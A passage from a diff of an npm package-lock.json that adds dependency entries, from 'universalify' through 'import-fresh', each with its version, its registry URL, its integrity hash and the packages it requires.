+ "universalify": "^2.0.0" + } + }, + "schema-utils": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "requires": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==" + } + } + }, + "formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "requires": { + "fetch-blob": "^3.1.2" + } + }, + "forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" + }, + "fraction.js": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.1.tgz", + "integrity": "sha512-/KxoyCnPM0GwYI4NN0Iag38Tqt+od3/mLuguepLgCAKPn0ZhC544nssAW0tG2/00zXEYl9W+7hwAIpLHo6Oc7Q==" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==" + }, + "fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "requires": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "fs-monkey": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.4.tgz", + "integrity": "sha512-INM/fWAxMICjttnD0DX1rBvinKskj5G1w+oy/pnm9u/tSlnBrzFonJMcalKJ30P8RRsPzKcCG7Q8l0jx5Fh9YQ==" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "optional": true + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "function.prototype.name": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.5.tgz", + "integrity": "sha512-uN7m/BzVKQnCUF/iW8jYea67v++2u7m5UgENbHRtdDVclOUP+FMPlCNdmk0h/ysGyo2tavMJEDqJAkJdRa1vMA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0", + "functions-have-names": "^1.2.2" + } + }, + "functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==" + }, + "get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + } + }, + "get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==" + }, + "get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "github-slugger": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-1.5.0.tgz", + "integrity": "sha512-wIh+gKBI9Nshz2o46B0B3f5k/W+WI9ZAv6y5Dn5WJ5SK1t0TnDimB4WE5rmTD05ZAIn8HALCZVmCsvj0w0v0lw==" + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "requires": { + "is-glob": "^4.0.1" + } + }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "global-dirs": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.1.tgz", + "integrity": "sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==", + "requires": { + "ini": "2.0.0" + }, + "dependencies": { + "ini": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz", + "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==" + } + } + }, + "global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "requires": { + "global-prefix": "^3.0.0" + } + }, + "global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "requires": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "dependencies": { + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "requires": { + "isexe": "^2.0.0" + } + } + } + }, + "globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==" + }, + "globalthis": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.3.tgz", + "integrity": "sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==", + "dev": true, + "requires": { + "define-properties": "^1.1.3" + } + }, + "globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "requires": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + } + }, + "gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dev": true, + "requires": { + "get-intrinsic": "^1.1.3" + } + }, + "graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "devOptional": true + }, + "gray-matter": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-4.0.3.tgz", + "integrity": "sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==", + "requires": { + "js-yaml": "^3.13.1", + "kind-of": "^6.0.2", + "section-matter": "^1.0.0", + "strip-bom-string": "^1.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + } + } + }, + "gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "requires": { + "duplexer": "^0.1.2" + } + }, + "handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "requires": { + "get-intrinsic": "^1.1.1" + } + }, + "has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==" + }, + "has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==" + }, + "has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "requires": { + "has-symbols": "^1.0.2" + } + }, + "has-yarn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz", + "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==" + }, + "hast-to-hyperscript": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz", + "integrity": "sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA==", + "requires": { + "@types/unist": "^2.0.3", + "comma-separated-tokens": "^1.0.0", + "property-information": "^5.3.0", + "space-separated-tokens": "^1.0.0", + "style-to-object": "^0.3.0", + "unist-util-is": "^4.0.0", + "web-namespaces": "^1.0.0" + } + }, + "hast-util-from-parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz", + "integrity": "sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA==", + "requires": { + "@types/parse5": "^5.0.0", + "hastscript": "^6.0.0", + "property-information": "^5.0.0", + "vfile": "^4.0.0", + "vfile-location": "^3.2.0", + "web-namespaces": "^1.0.0" + } + }, + "hast-util-parse-selector": { + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz", + "integrity": "sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ==" + }, + "hast-util-raw": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/hast-util-raw/-/hast-util-raw-6.0.1.tgz", + "integrity": "sha512-ZMuiYA+UF7BXBtsTBNcLBF5HzXzkyE6MLzJnL605LKE8GJylNjGc4jjxazAHUtcwT5/CEt6afRKViYB4X66dig==", + "requires": { + "@types/hast": "^2.0.0", + "hast-util-from-parse5": "^6.0.0", + "hast-util-to-parse5": "^6.0.0", + "html-void-elements": "^1.0.0", + "parse5": "^6.0.0", + "unist-util-position": "^3.0.0", + "vfile": "^4.0.0", + "web-namespaces": "^1.0.0", + "xtend": "^4.0.0", + "zwitch": "^1.0.0" + }, + "dependencies": { + "parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + } + } + }, + "hast-util-to-parse5": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz", + "integrity": "sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ==", + "requires": { + "hast-to-hyperscript": "^9.0.0", + "property-information": "^5.0.0", + "web-namespaces": "^1.0.0", + "xtend": "^4.0.0", + "zwitch": "^1.0.0" + } + }, + "hastscript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-6.0.0.tgz", + "integrity": "sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w==", + "requires": { + "@types/hast": "^2.0.0", + "comma-separated-tokens": "^1.0.0", + "hast-util-parse-selector": "^2.0.0", + "property-information": "^5.0.0", + "space-separated-tokens": "^1.0.0" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "requires": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "requires": { + "react-is": "^16.7.0" + } + }, + "hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha512-zJxVehUdMGIKsRaNt7apO2Gqp0BdqW5yaiGHXXmbpvxgBYVZnAql+BJb4RO5ad2MgpbZKn5G6nMnegrH1FcNYQ==", + "requires": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "htm": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/htm/-/htm-3.1.1.tgz", + "integrity": "sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==" + }, + "html-entities": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==" + }, + "html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "requires": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "dependencies": { + "commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==" + } + } + }, + "html-tags": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.3.1.tgz", + "integrity": "sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==" + }, + "html-void-elements": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-1.0.5.tgz", + "integrity": "sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w==" + }, + "html-webpack-plugin": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.3.tgz", + "integrity": "sha512-6YrDKTuqaP/TquFH7h4srYWsZx+x6k6+FbsTm0ziCwGHDP78Unr1r9F/H4+sGmMbX08GQcJ+K64x55b+7VM/jg==", + "requires": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + } + }, + "htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "requires": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha512-LmpOGxTfbpgtGVxJrj5k7asXHCgNZp5nLfp+hWc8QQRqtb7fUy6kRY3BO1h9ddF6yIPYUARgxGOwB42DnxIaNw==" + }, + "http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "requires": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + } + }, + "http-parser-js": { + "version": "0.5.8", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz", + "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-proxy-middleware": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.6.tgz", + "integrity": "sha512-ya/UeJ6HVBYxrgYotAZo1KvPWlgB48kUJLDePFeneHsVujFaW5WNj2NgWCAE//B1Dl02BIfYlpNgBy8Kf8Rjmw==", + "requires": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "dependencies": { + "is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==" + } + } + }, + "human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==" + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "requires": {} + }, + "ignore": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz", + "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==" + }, + "image-size": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-1.0.2.tgz", + "integrity": "sha512-xfOoWjceHntRb3qFCrh5ZFORYH8XCdYpASltMhZ/Q0KZiOwjdE/Yl2QCiWdwD+lygV5bMCvauzgu5PxBX/Yerg==", + "requires": { + "queue": "6.0.2" + } + }, + "immer": { + "version": "9.0.21", + "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.21.tgz", + "integrity": "sha512-bc4NBHqOqSfRW7POMkHd51LvClaeMXpm8dx0e8oE2GORbq5aRK7Bxl4FyzVLdGtLmvLKL7BTDBG5ACQm4HWjTA==" + }, + "immutable": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/immutable/-/immutable-4.3.2.tgz", + "integrity": "sha512-oGXzbEDem9OOpDWZu88jGiYCvIsLHMvGw+8OXlpsvTFvIQplQbjg1B1cvKg8f7Hoch6+NGjpPsH1Fr+Mc2D1aA==" + }, + "import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": 